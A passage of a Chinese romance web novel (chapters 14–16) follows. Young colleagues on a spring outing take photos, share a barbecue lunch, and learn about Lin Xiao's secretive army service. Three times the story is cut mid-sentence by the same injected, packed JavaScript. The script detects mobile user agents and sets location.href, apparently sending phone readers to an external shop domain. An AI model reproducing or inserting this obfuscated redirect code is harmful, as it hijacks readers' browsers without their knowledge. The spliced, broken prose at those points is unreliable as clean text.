“啊?”于宥宁怔住。 14. 第 14 章 “快去。”叶可欣推她:“他肯定比顾原拍得好。” 于宥宁还没反应过来,叶可欣已经举起手朝那边挥了挥:“林总,林总,可以来帮我们拍个照吗?” 林骁循声看过来,然后信步走向她们,掏出手机:“想怎么拍?” 叶可欣觑了一眼顾原的方向,小脸儿一扭,拉着于宥宁就往旁边走:“走走走,咱们找棵树爬上去拍。” “上树?”于宥宁被她拽着:“这棵树可承受不了咱俩的体重。” 林骁跟在后面,语气淡淡的:“往里走有棵专门用来拍照的,可以上树,景区特意留的。” “行!”叶可欣来了精神:“那咱们进去拍。” 三个人往里走,越往里游客越少,花开得也没有外面那么茂密,但胜在清静,偶尔有几个扛着长枪短炮的大爷经过,对着枝头的桃花一通猛拍,拍完就走。 叶可欣和于宥宁掏出手机,开始在小红书上搜拍照姿势。 “这个这个。”叶可欣指着屏幕:“一人站下面,一人坐树上,仰拍。” “那棵树够粗吗?”于宥宁抬头看。 “够了。”林骁指了指前面:“就那棵。” 那是一棵有些年头的桃树,树干粗壮,枝丫虬结,正好有个分叉的位置适合坐人,树下落了一层花瓣,踩上去软软的。 叶可欣先爬上去试了试,坐稳了,冲于宥宁招手:“来,你站下面。” 于宥宁站到树下,仰着头看她:“姿势呢?” “你随意,自然点就行。” 于宥宁就随便站着,一只手搭在树干上,仰头看她。 快门响起,林骁低头看了一眼屏幕,两个女孩儿,一个在树上笑,一个在树下仰头看,阳光从花枝的缝隙里漏下来,落在她们的脸上,拍得不错。 “我看看我看看。”叶可欣从树上跳下来,凑过去看屏幕:“嗯……还行,再来一张。” 接下来就是漫长的“再来一张”。 两个人翻着小红书,不断换姿势,背对背的,互相喂花的,一起伸手够枝丫的,假装在花雨里奔跑的,林骁就站在那儿,举着手机,一张一张地拍。 他不觉得烦,因为给她们拍照的时候,他就可以光明正大地看她们。 准确地说,是看那个穿浅蓝色外套的姑娘,她今天扎了个马尾,露出光洁的额头,笑起来的时候眼睛弯弯的,像两弯月牙。 她跑起来的时候马尾一甩一甩的,她蹲下去捡花瓣的时候马尾垂到胸前,她仰头看镜头的时候马尾甩到身后。 他发现自己一直在追着那个马尾看。 有一会儿,她们要拍一张“两个人一起往镜头跑”的照片,林骁蹲下来,举着手机,等着她们跑进画面。 她们笑着跑过来,越来越近,越来越近,然后她忽然停下来,蹲到他身边:“让我看看这张。” 她靠得太近了,近到他能闻到她身上的味道,不是香水,是一种很淡的、若有若无的香气,像洗衣液,又像沐浴露,还带着一点阳光晒过的味道。 他私心里觉得,这是独属于她的味道。 “这张不错诶。”她指着屏幕,仰头看他:“林骁,你拍照技术…嗯…还行。” 他低头看她,阳光落在她的睫毛上,她的眼睛亮晶晶的,像两汪清澈的泉水。 拍了大半个小时,两个人才终于喊停。 “累死了。”于宥宁擦了擦额角的汗:“好热。” 她脱了外套,露出里面一件简单的白色T恤,叶可欣也脱了外套,两个人把衣服搭在臂弯里,凑到林骁身边看照片。 一左一右,把他夹在中间。 于宥宁的手指在屏幕上滑动,一张一张翻过去,叶可欣凑过来看,看着看着,忽然“噗”地笑出声,于宥宁也笑了,两个人对视一眼,然后齐刷刷抬头,看着林骁。 “林总。”叶可欣憋着笑:“你这照片拍得……很有特点。” 于宥宁点点头,补充道:“嗯,特别大。” 每一张,都基本只拍下了她们俩的大头,构图什么的就不说了,关键是,她们明明想拍的是“人景合一”,结果他只拍了“人”,满山的桃花,拍出来只剩头顶的一小撮。 两个女孩儿又对视一眼,于宥宁眨眨眼:“要不要我们也帮你拍两张?” 林骁看着她们的表情,已经读懂了潜台词:你这拍照技术,还是算了吧。 “不用。”他收起手机。 “那行。”于宥宁也没勉强:“那你休息一会儿,我们自拍两张。” 林骁微微一笑,这是开除他了。 看于宥宁像是在找地方放包,他伸出手:“我帮你拿,你们去拍吧。” 于宥宁顺手把包递给他:“那谢谢啦。” 林骁接过包,退后两步,站在一棵桃树下。 他看着两个女孩儿又凑到一起研究新姿势,看着她一会儿蹲下、一会儿站起来、一会儿蹦蹦跳跳。 阳光很好,风很轻,花瓣还在飘,他就那么站着,一只手拎着她的包,另一只手揣在裤兜里,看着那个穿白色T恤、马尾辫一甩一甩的姑娘。 心里忽然变得很安静。 安静得像这满山的桃花,什么也不想,只是开着。 拍到差不多快十二点,大家才开始返程。 来的时候一个个精神抖擞,现在像是把一整天的力气都用在拍照上了,各个都脱了外套搭在手臂上,有气无力地往山下走,阳光从头顶直直地晒下来,晒得人眼皮发沉。 林骁拉了拉顾原,两个人不动声色地走到了队伍最前头。 “你是不是忘记你今天来的目的了?”林骁压低声音。 顾原推了推眼镜,一脸从容:“没忘,展示厨艺嘛,一会儿就展示。” “那你是想展示给谁看的?”林骁故意反问。 顾原略略偏头,往后看了一眼。 叶可欣正和于宥宁挽着手走在最后头,两个人都晒得脸颊微红,不知道在说什么,笑得前仰后合。 他收回视线,没说话。 上周,他找到林骁,请他一起来春游。 “我对可欣很有好感。”他当时是这么说的,语气平静得像在汇报工作:“但是我们俩的交集完全在工作上,她甚至一度觉得我太死板、太严苛,一起出来玩一玩,也许能改善一下我在她心里的形象。” 林骁听完,只问了一句:“你打算怎么约?” “我就直接跟她说,有个春游,问她去不去。” 林骁当时就笑了:“顾原,你这样约,她能去才怪。” “那怎么办?” “你多叫几个朋友。”林骁给他出主意:“人多热闹,她也不会尴尬,别只叫你的朋友,让她也带两个朋友,这样她自在。” 顾原点点头,觉得很有道理,他把老曹一家、张超一家都叫上了,又让叶可欣带朋友,于是她才带了于宥宁。 可现在,林骁看着他:“你没发现她生气了吗?” 顾原一愣:“为什么?”他还什么都没做呢。 “你带相机不就是为了给她拍照?”林骁瞥他一眼:“你看看你相机里有她吗?” 顾原这才反应过来。 相机是上周才买的,专门为了这次春游,他研究了三天说明书,又练了两天,就想给她拍几张好看的照片。 刚才在桃花林里,他确实一直在试光、调参数,他想先练练手,免得一会儿正式给她拍的时候拍不好,让她失望。 可是……他往后看了一眼:“下午不是还有时间嘛。”他小声辩解。 林骁没再说话,点到为止。 回到露营地,大家立刻瘫坐到椅子上休息,阳光暖烘烘地晒着,遮阳棚投下一片阴影,几个女同胞已经开始翻手机看刚才拍的照片。 于宥宁洗完手想擦个护手霜,这才意识到自己是两手空空回来的:“完了,我包落上头了。” 话音刚落,旁边传来一道低沉的嗓音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525892|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“在我这里。” 于宥宁扭头,林骁不晓得什么时候来的,她那只白色的小包,正斜挎在他肩头,细细的白色链条,小小的包身,跟他这一身黑T配西裤的装扮,竟然没什么违和感。 “不好意思啊,我忘了,让你背了一路。” 他把包挪挪正,拧开上头的金属小扣:“要什么?” 要什么? 于宥宁一时没反应过来。 她看着他,或者说,看着他扶着包的那只手,健康的小麦色,宽厚,修长,骨节分明,手背上青筋微微凸起,顺着腕骨一路攀升,隐入袖口。 一看就很有力,很可靠。 “宁宁?” 一声轻唤,把她从恍惚里拽出来。 他喊自己宁宁? 超市那天他也是这么喊的,是跟着妈妈喊的吧? 像是突然意识到什么,于宥宁别开脸,耳根有点热:“我自己背吧。” 林骁没多问,把包取下来递给她,手指交错的瞬间,他的指腹擦过她的手背,一触即离。 于宥宁接过包,低着头翻出护手霜,挤了一点,若无其事地涂着,等他离开,于宥宁才抬眸,他们就连背影都好像。 她看着那个背影,忽然想起叶可欣在桃花林里说的话:“长在了你的审美上啊,而且跟林屿完全两种性格。” 她以为自己已经已经彻底忘记林屿了,可此刻看着这个背影,她又不那么确定了。 等她回到露营点,大家已经开始了新一轮的活动:P图。 江莹手里拿着顾原的相机,凑到他身边:“顾原哥,你这相片能直接导进手机吗?” 顾原正在整理他的灶台,头也不抬:“可以,要不先吃饭吧?吃完饭我导给你。” “哎呀,”江莹拖长了尾音:“大家都玩累了,休息会儿再吃饭嘛。” 老曹的太太抱着睡着的女儿仰躺在椅子上,闻言睁开一只眼:“莹莹是着急P图发朋友圈呢。”她看了看顾原:“不过顾原,你啥时候买的相机啊?没听说你有摄影的爱好啊。” 江莹已经挪到她旁边,把相机举到她面前:“给你看看顾原哥帮我拍的照片!” 老曹太太来了兴趣,坐直身子:“相机拍的肯定比手机拍的好看多了。” 张超的太太也伸长脖子凑过来:“我也看看!” 江莹得意地点开相册,一张一张滑过去。 第一张,桃花,构图还行。 第二张,还是桃花,有点虚焦。 第三张,是她站在桃树下,但人只占了画面三分之一,头顶全是树枝。 第四张,也是她,倚着树干,但光线太强,脸上一片惨白。 第五张,还是她,蹲在地上捡花瓣,但快门按晚了,她正弯腰,脸都没露全。 越往后翻越离谱,虚焦的、过曝的、构图歪到天边的、人跑到画面边角的……能看的,没几张。 三个女人面面相觑。 老曹太太憋着笑,憋了两秒,没憋住:“噗,哈哈哈哈!” 怀里的曹丫丫被这一声大笑惊醒,小脸一皱,哇哇大哭起来。 “哎哟哟哟不哭不哭……”老曹太太赶紧抱着女儿站起来,一边拍一边哄,脸上的笑还没收住。 江莹脸上挂不住了,她把相机往顾原手里一塞,声音闷闷的:“大家都饿了吧?还是先吃饭吧,咱们不是还要录盲盒挑战嘛。” 说完,转身往自己的座位走。 于宥宁在旁边看着这一幕,悄悄碰了碰叶可欣的胳膊,叶可欣低着头P着图:“我就说他怎么可能会拍照,江莹也是可怜,一上午一张图没出。” 那边,顾原接过相机,随手翻了翻,面不改色地收进包里。 林骁走过去整理烤架:“你相机里,有能看的吗?” 顾原顿了顿:“有。” “多少?” 顾原沉默了两秒:“……两三张吧。” 林骁笑了一声,没说话。 15. 第 15 章 江莹拍拍手,把大家招呼到一堆:“录盲盒挑战了,快来吧。” 这是她提前在群里通知过的,为了增加这次春游的乐趣,提议大家玩一次露营盲盒挑战,每家人一百块的预算,互相不商量,各自采购,看看最后能凑出一桌什么样的午餐。 “我先来吧!”老曹率先举手,接过老婆递过来的保温袋,往桌上一放。 江莹凑过去看,语气夸张:“成了家的是不一样哈!竟然还有保温袋,多讲究呀,我就拿了一个纸箱子,一路抱着来的。” 老曹一脸骄傲,拍了拍保温袋:“这可是我亲自收拾的啊,你嫂子主要负责品尝验收。” 大家笑作一团。 老曹打开保温袋,一样一样往外拿:一大盒酸辣鸡脚,红油汪汪的,看着就开胃;一大盒拌好的凉面,黄瓜丝、豆芽、花生碎铺得满满当当;一盒卤牛腱,切得薄厚均匀,纹理清晰;一盒素菜,藕片、海带、木耳拌在一起;还有一袋火腿肠,儿童版的,小小的。 “哇!”众人齐声惊叹。 张超竖了个大拇指:“我就知道老曹肯定全带吃的!我这儿就重了一样啊。” 张超的老婆笑着把购物袋放到桌上,开始往外掏:“老曹,你那火腿肠是给咱闺女准备的吧?我们也带了火腿肠,还有纸巾、湿纸巾、花露水、烧烤料、蛋炒饭、土豆片、玉米串、脆皮年糕、口蘑、猪五花、棉花糖、水果拼盘、花生米。” 她每掏一样,老曹就“嗯”一声,掏到最后,老曹打了个响指:“可以可以!这一桌子都符合我女儿的口味!就是你这花生米得配酒啊,后头的哪个像会带酒的?” “那就看默契了呗。”张超老婆笑着坐下。 “下一个我来!”江莹站起来,冲顾原招手:“顾原哥,麻烦帮我抱一下,实在太重了。” 她是挨着顾原坐的,进来的时候那个纸箱子就是顾原帮忙搬进来的,这会儿顾原又起身,帮她把箱子抬到桌上。 “当当当当!”江莹从箱子里先拿出一束鲜花,粉色的玫瑰配白色的满天星,包得精致漂亮:“我想大家一定都会把吃的喝的带够,所以我就负责美化咱们的餐桌!” 她说着,拿出一个玻璃花瓶,把鲜花插进去。 “除了鲜花,我也是带了美食的!”她又从箱子里端出一大碗沙拉,生菜、紫甘蓝、小番茄、玉米粒,淋着油醋汁:“这个解腻!还有水果拼盘,拌了酸梅粉的,最后是饮料,可乐、雪碧、茶,还有鸡尾酒!” 张超拍拍手:“好了!花生米有配的了!” 张超老婆看了眼桌上的东西,盘算着:“现在看,最紧缺的还是肉类啊,就看后面的朋友们了。” “那下一个我来吧。”顾原站起身,把自己的购物袋放到桌上。 他一样一样往外拿:烧烤刷、烤盘、一次性盘子、一次性杯子、一次性筷子、纸巾、湿巾、各种调味料……最后拿出一个便携式燃气灶和一小罐燃气。 “我去,”老曹一个大喘气:“原儿,你这才是准备了一堆没用的东西!” “有用有用。”顾原推了推眼镜,一本正经地解释:“锅、灶台、燃气,我认为不应该算进这次的成本,这些都是硬件设施,以后还能用。” 他又从袋子最底下拿出两个保鲜盒,打开盖子,里面是用保鲜膜仔细包好的食材:一盘切好的鸡胗和黄喉,一盘处理干净的肥肠。 “这些都是我早上起来切的。”他说:“一会儿炒个双脆,再炒个肥肠。” 于宥宁瞥了叶可欣一眼,这些内脏,跟今天的烧烤主题确实不太搭,但偏偏都是叶可欣爱吃的。 果然,顾原的东西一展示完,就被老曹无情吐槽:“顾原,你这可不是烧烤趴该出现的东西啊!” 顾原面不改色:“我这不是为了丰富一下食材嘛,好了好了,继续吧,看看骁子带的。” 林骁不紧不慢地站起身,把自己的购物袋放到桌上,他先拿出一大把竹签。 “哇!”这次是真正的惊喜。 林骁又一样一样往外拿:牛肉、牛胸膘、五花肉、中翅、掌中宝、小香肠、鸡胗、鹌鹑蛋、青椒、茄子、娃娃菜……最后拿出一袋火腿肠,也是儿童版的。 “这是给曹丫丫买的。”他说。 老曹率先鼓掌:“看看!骁子这才是来参加烧烤趴的!” 张超凑过去数了数:“骁子,你这超标了吧?这么多,一百块下不来吧?” 林骁擦了擦手,语气淡淡的:“都是菜市场买的,早上现切现码,不到一百。” “长得帅,还持家。”老曹感慨地摇摇头:“也不知道以后会便宜了谁。” “下一个!可欣!”老曹点名。 叶可欣把自己的购物袋放上去:薯片、饼干、辣条、拿破仑蛋糕、榴莲千层、芝士蛋糕、火鸡面。 老曹乐了:“又是一个热爱零食的小姑娘!跟我丫头能吃到一块儿去!” 最后是于宥宁。 她把购物袋里的东西拿出来:鸭头、鸭脖、鸭翅、鸭掌,还有一大盒卤味拼盘。 老曹满意地点点头:“蛮好蛮好!跟我的一样,现成的吃的!他们这群人啊,带些肉啊菜的,保不齐一会儿就翻车了,还是得靠咱们这些现成的!” 于宥宁和叶可欣对视一眼,都笑了,多亏了老曹这种E人在,谁带的都能捧上两句。 “那行,那咱们就一起把烤串穿一下,顾原哥你就把你的菜抄一下,咱们就开饭吧。” 顾原把自己的小灶台挪到旁边的空桌上,打开便携燃气灶,开始准备调料,火爆双脆、干煸肥肠这两道菜调味和火候至关重要,早上拍照没发挥好,这会儿可得好好表现。 林骁是挨着于宥宁坐的,他递给她一双一次性手套:“戴上吧。” “谢谢。” “待会儿你和顾原换个坐,行吗?” “啊?”于宥宁侧头看他:“为什么呀?” 林骁压低声音,手上动作却没停:“其实今天这场春游是他组的局,他说叶小姐觉得他死板严苛,所以想在工作之外的场合展示一下自己的另一面,那两道菜应该都符合叶小姐的口味吧。” 于宥宁恍然大悟,原来如此,她起身坐到林骁的右侧,把自己那个位置空出来。 牛肉穿完,老曹那边也把火生好了,林骁把穿好的烤串挨个摆上烤架,炭火噼啪作响,肉串开始滋滋冒油。 于宥宁帮着摆放碗筷,一趟一趟地把盘子、杯子、筷子摆到长桌上,等忙完坐下,她才压低声音对林骁说:“其实女孩子会比较喜欢打直球。” 林骁手上动作一滞,他偏头看她,目光里带着一点意外,还有一点认真:“如果不够熟悉,不会被吓到吗?” 于宥宁想了想:“他们俩挺熟了。”她的提示也是点到即止。 林骁收回视线,但那个问题,他在心里又过了一遍。 顾原那边炒菜炒得热火朝天,火爆双脆下锅的瞬间,“刺啦”一声,油烟腾起,辣椒的香味直往鼻子里钻,他一手颠锅,一手拿着锅铲,动作竟然挺熟练。 江莹站在旁边,举着手机录视频:“哇,顾原哥好帅啊!” 顾原没搭话,专心炒菜。 于宥宁隔着林骁对叶可欣喊:“欣欣,你去帮顾总端一下菜呀。” 叶可欣正低头玩手机,头都不抬:“有人帮他呢。” “叶可欣!” 被叫全名就意味着没有商量的余地,叶可欣放下手机,不自然地瞥了林骁一眼,有外人在,被叫全名有点丢面子。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527422|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁很有眼力见地摸出手机,假装看消息。 于宥宁看着她:“去吧。” 叶可欣这才不情不愿地起身,慢吞吞往顾原那边走。 等她离开,林骁便放下了手机,扭头同于宥宁对视一眼。 他忍不住勾了勾唇角。 于宥宁也抿唇笑笑。 她也说不清是不是因为林屿的缘故,自己对林骁好像天生就多了几分信任,明明认识没多久,却总觉得不用避讳他。 火爆双脆率先出锅,辣椒滚油爆香,锅气十足,鸡胗切花,黄喉切成薄片,脆嫩爽口,红油汪汪地盛在白盘子里,光是看着就让人咽口水。 叶可欣走到灶台边:“我来端菜。” 顾原把盘子递给她,叮嘱道:“小心烫。” 叶可欣接过盘子,低头闻了闻,嘴角微微翘了一下。 顾原看见了。 他推了推眼镜,继续炒第二道菜,干煸肥肠下锅,又是“刺啦”一声,花椒和干辣椒的香味炸开。 叶可欣把菜端上桌,又回来站在旁边看。 顾原一边翻炒一边侧头看她:“饿了?” “还行。”叶可欣双手揣在衣服兜里:“你什么时候学会炒菜的?” “去年。”顾原盯着锅里的火候:“一个人住,总得把自己喂饱。” “那你以前呢?” “以前吃食堂。” 叶可欣想了想,也是,以前他住公司附近,天天加班,哪有时间做饭。 于宥宁坐在桌边,撑着脑袋看着他们俩。 一个揣着手站在旁边看,一个一边推眼镜一边炒菜,画面和谐。 “还挺会的嘛。”她小声嘀咕。 林骁在旁边翻烤串,听到声音看了她一眼。 于宥宁指了指那边:“你看,顾原炒两下就看欣欣一眼,还是挺会的嘛。” “他一直都这样。”林骁收回视线。 “是吗?”于宥宁不信:“欣欣给我塑造的顾原,可是一个严肃、刻板、不苟言笑的工作狂形象。” “也可以理解为认真、专注、有责任心。”林骁把烤好的肉串放到盘子里:“看你怎么理解。” 于宥宁想了想,好像是这个道理。 等老曹那边烤的差不多能够开饭了,时间已经接近两点。 “干杯!” 众人举杯,可乐雪碧啤酒碰在一起。 “周末愉快!” 老曹看着桌上已经空了大半的卤味盒子,得意洋洋:“宥宁,还是咱俩带的凉菜最受欢迎!你看他们那些肉啊菜的,还没烤熟呢,咱俩的已经快没了。” 于宥宁笑笑,还没来得及说话,林骁先接了一句:“大家都饿了,先吃现成的。” 顾原一边吃烤串一边悄悄观察叶可欣。 她几乎只吃自己炒的那两盘菜,火爆双脆夹了好几筷子,干煸肥肠也没少吃。 “可欣,好吃吧?”他问。 “还行。”叶可欣头也不抬。 他拧开一瓶水,递过去:“会不会太辣?” “不会呀。” 顾原其实不太能吃辣,但知道叶可欣无辣不欢,所以今天这两道菜里特意多加了一把小米椒。 “下次出来玩,我炒牛蛙,你爱吃的吧?” 叶可欣愣了一下,抬头看他。 他目光里带着点期待,还有一点不确定。 “……还行。”她别开脸,继续吃。 于宥宁在旁边看着这一幕,差点笑出声。 张超和老曹聊起以后曹丫丫上学的事,聊着聊着,话题绕到了林骁身上。 “骁子,”老曹啃着鸡爪:“作为咱们榆阳市当年的理科状元,最后选了军校,你知道咱们班主任有多惋惜吗?” 16. 第 16 章 林骁淡淡一笑,没接话。 张超接茬:“你以为军校是好进的?入校即入伍,毕业就是少尉军衔。” 叶可欣对这个话题来了兴趣:“林总是哪个军种?” “陆军。” “在哪儿服的役呀?” “保密。”他毕业以后就进了特种部队,执行的大部分任务都是秘级。 “退伍了还保密呢?” “终身。” 他只答了这两个字,语气平淡,却很有分量。 老曹感慨:“难怪中间好几年都联系不上你。” 叶可欣又问:“那岂不是好几年都没回过家?” “对。” “我家里有个小侄子,今年十八,学习成绩实在太差,读了个中专。”叶可欣放下筷子:“他家里准备让他走义务兵,你觉得呢?” 林骁想了想,把义务兵的发展方向、待遇、退伍后的政策大致讲了一遍,哪些情况适合留队,哪些情况适合退伍,退伍后能享受什么政策,都说得清清楚楚。 叶可欣听完,若有所思:“哎,现在的小孩,家里条件也不至于太差,不指望他们当兵挣钱,当然也不指望他们有什么宏图大志,就是去历练一下,练练筋骨,也练练思想,别一天到晚沉迷于享乐。” 她说着,看了一眼碗里顾原刚给她夹的烤鸡翅。 “我不爱吃这个。”她夹起来,放回顾原碗里。 顾原乐呵呵的:“那我吃吧。” 叶可欣根本没注意他,继续问林骁:“那你当初考军校,是家里给你考虑的,还是自己有想法?” 林骁放下手里的烤串,想了想:“我从小就向往军旅生活,可以说是自己的意愿吧。” 老曹插话:“嗯,他军事迷,看电视都只盯着CCTV。” “军事迷呀,那就是保家卫国,英雄本色呀。” 林骁:“也没想这么多,就是觉得男人还是得干点儿实事儿,军校苦,但苦得踏实,训练累,但累完了睡得着,战友之间都是过命的交情,”他顿了顿:“纯粹。” 于宥宁在旁边听着,觉得这话从他嘴里说出来,特别真,就像他说的:纯粹,踏实。 “你连服役的地点都保密,”叶可欣追问:“该不会是特种兵吧?执行的所有任务都不能说吗?” “也有能说的,抗震救灾。” 顾原总算是找到个自己能插嘴的话题了:“这个我知道,那年小农县地震,他就去了的。” “小农县啊,宁宁也去了的,跟他爸去的。” 所有人都把目光移向于宥宁。 顾原问:“那年你们才多大?” 叶可欣:“高中毕业的暑假嘛,十八。” 于宥宁回忆着:“我爸爸他们单位对口帮扶小农县,地震以后要派人过去救灾,他就主动申请了,我也想帮忙,就跟着去了。” 叶可欣看看她,又看看林骁:“你们俩没见过?” 老曹摆摆手:“灾区!那得乱成什么样儿,骁子他们肯定是一线,宥宁一个小姑娘,俩人估计碰不上。” 林骁默默吃着烤串,没搭话。 于宥宁回忆着当年的事,她印象里,那些当兵的都特别忙,搭帐篷、搬物资、搜救被困群众,从早到晚没个停,为了给受灾群众腾出睡觉的地方,他们都是席地而睡,有时候就靠着墙根眯一会儿。 她每天跟着爸爸去送饭,拎着大桶的粥、一大袋馒头,挨个问:“哥哥,你们吃饱了吗?不够的话还有馒头。” 那些面孔大多模糊了,只记得是灰头土脸的,疲惫的。 叶可欣突然问林骁:“那你为什么又退伍了?” 这话一问出口,于宥宁就注意到林骁眼底有什么东西一闪而过,很快,快得像错觉,但那一瞬间,他的目光像是被什么东西刺了一下。 林骁没有回答这个问题,餐桌上安静了一瞬。 其他人也并不知道他究竟为什么会突然退伍回来。 气氛有点微妙。 老曹举起酒杯,打了个哈哈:“人骁子回来继承家业的!来来来,敬林总一杯!” 众人举杯,碰在一起。 林骁端起饮料,喝了一口。 午饭结束后,大家简单收拾了一下,纷纷搬了椅子到太阳底下去午睡。 四月中旬的日光暖洋洋的,晒得人骨头缝里都透着懒,老曹抱着女儿靠在椅子上,没两分钟就打起了呼噜,张超夫妇也歪在椅子上,帽子扣在脸上遮光,江莹躺在野餐垫上,盖着外套,睡得很安静。 于宥宁打着呵欠犯困,她靠在折叠椅上,眼皮越来越沉,没一会儿就睡着了。 她是被一阵窸窸窣窣的讲话声吵醒的,眼皮还沉得很,她觑起眼睛,循着声音看过去,是叶可欣和顾原。 顾原背对着她,看不清表情,叶可欣低着头,脚尖在地上划来划去,不知道在说什么。 于宥宁眯着眼睛看了两秒,嘴角微微弯了弯,看来顾原并不是叶可欣描述里那种“严肃刻板”的人,反而挺会来事儿的嘛,不过追女孩子嘛,就是要大大方方的。 她偷笑着起身准备给他们腾地方,手一抬,摸到身上盖着什么东西,低头一看,是一件黑色的西服外套。 她愣了一下,目光扫过周围,林骁的椅子空着,人不知道去哪儿了。 湖边零零散散坐着几个钓鱼的人,最近的是几个大爷,一人一个小马扎,鱼竿架在岸边,悠闲得很。 最边上那个,穿着黑色T恤,背对着她坐在折叠椅上的,竟然是林骁。 于宥宁脚步顿了顿,慢慢走过去。 半下午的日光已经开始西斜,柔和地洒在水面上,碎成一片一片的金色,岸边种着几棵垂柳,细长的柳枝拂过水面,荡起浅浅的涟漪,偶有微风拂过,带着青草和泥土的气息,混着湖水的湿润,舒服又惬意。 林骁坐在一张折叠椅上,长腿岔开,姿态随意又舒展,身前架着一根鱼竿,鱼线垂进水里,鱼漂静静立着。 于宥宁正要走过去, “姑娘!姑娘!帮我拿一下网!” 旁边的大爷突然喊起来。 她扭头一看,一个大爷正双手握着鱼竿,鱼竿弯成一道弧线,鱼线绷得紧紧的,他两只手都占着,只能用眼神示意她:“那个!抄网!帮我抄一下!” 她捡起地上的抄网,递给大爷:“这个吗?” “对对对,快帮我抄一下。” 于宥宁凑过去,紧张地盯着水面,水花翻涌,一条大鱼被慢慢拉到岸边,她盯准了大鱼,手一伸,鱼就被兜进了网里。 “哇!”于宥宁忍不住叫出来:“好大!” 那条鱼在网里扑腾,尾巴甩得水花四溅。 “来来来,我来我来。”大爷喊道。 于宥宁蹲下去,双手按住网兜边缘,鱼在里头拼命挣扎,她按都按不住:“哇,真有劲儿!” 另一个大爷从厕所回来,小跑着靠近:“哎呀老金,你又上鱼啦!” 两个老伙计一起动手,一个按住鱼,一个摘鱼钩,钩子从鱼嘴里取出来,鱼还在不甘心地甩尾巴。 “这条大!”老金大爷把鱼拎起来掂了掂:“得有十斤!谢谢你啊姑娘!” “不客气!”于宥宁站起身,拍了拍手上的水。 她捡起来刚刚为了抄鱼掉到地上的外套,拍了拍泥,抬头正对上林骁的视线。 于宥宁尴尬地抬了抬手:“你的衣服……不好意思啊,掉地上了。” 林骁没什么表情,只是从旁边的小椅子上拿起一包抽纸,递给她。 于宥宁走过去,接过纸巾,抽出一张擦了擦手,又抽出一张擦了擦外套上的泥。 擦完,她看了看他旁边的空椅子,犹豫了一下,还是坐下了。 “这些渔具都是你的?”她指了指他脚边那一堆东西。 林骁“嗯”了一声,目光还盯着水面。 “看你睡得很熟,”他说:“就给你盖了件衣服。” 于宥宁低头看了一眼手里的外套:“谢谢你。” “客气。”他轻轻扯了一下鱼竿,调整鱼线的位置:“怎么过来了?” 于宥宁往身后指了指:“顾原和欣欣聊天呢,我给他们腾地方。”她说着,打了个哈欠,掏出手机,开始P图。 旁边两个大爷又陆续上了鱼,两个人心情好,点了烟抽,烟味顺着风飘过来,于宥宁皱了皱眉,侧头瞥了一眼。 林骁:“坐这边来吧。” 她没多想,起身拎起折叠椅,挪到林骁的左侧,这个角度正好,背对着太阳,阳光晒在背上,暖洋洋的。 林骁的手机铃声响起来,他看了一眼来电显示,接起来,语气不冷不热:“嗯。” 电话那头说了什么,他安静地听了片刻,然后开口,声音沉甸甸的:“换供应商。” 对方似乎还想解释,林骁的眉头微微拧了一下:“这话我说过不止一次了,你是觉得我的话没有分量,还是觉得你不用当回事?”依然是不紧不慢的调子,语气却变的威严。 于宥宁的拇指停在手机屏幕上,P图的动作忘了继续。 她抬眸看了他一眼。 阳光落在他的侧脸上,镀上一层浅浅的金色,他的表情依然是那种淡淡的、不辨喜怒的平静,可那双眼睛不一样了,那双眼睛里没有她熟悉的温柔和耐心,取而代之的是一种冷冽的、锐利的东西。 她一直只见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531121|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他绅士、温柔、周到的一面,却没想到原来他在工作上还有这么…该怎么讲呢,有压迫感的一面,让人不敢在他面前敷衍的那一面。 电话那头似乎还想说点什么,声音断断续续地从听筒里漏出来,听不清内容,但能听出语气里的急切。 他安静地听完,没有打断,却仍旧没有改变决定:“按我说的做。” 然后挂了电话。 于宥宁心里跟着咯噔了一下。 她把目光收回屏幕上,心里默念了一句:非礼勿听,非礼勿听。 惬意的午后,吃饱喝足,晒晒太阳,修修图,真好啊。 忙活了差不多半小时,她终于精修出九宫格,发了个朋友圈,又顺手分享给叶可欣。 但叶可欣一直没回复,估计还和顾原聊着呢,怎么能有这么多话好说? 她看向林骁,自己和林骁说了恐怕十句话都不到吧? 意识到这个类比非常不正确,她心虚地瞥了一眼林骁。 为了晒背,她椅子的方向是侧对水面、正对着他,所以这么坐着,正好能看到他的正脸。 就这么看了两秒,她忽然觉得今天自己想得格外多。 大概是因为前段时间误会了他,他主动避嫌,让她有点过意不去。 于宥宁主动打开话题:“你钓到鱼了吗?” 林骁侧过脸看她:“上了一竿,水里呢。” 她顺着他手指的方向看去,鱼护沉在水里,看不清有没有鱼。 “你经常钓鱼吗?” 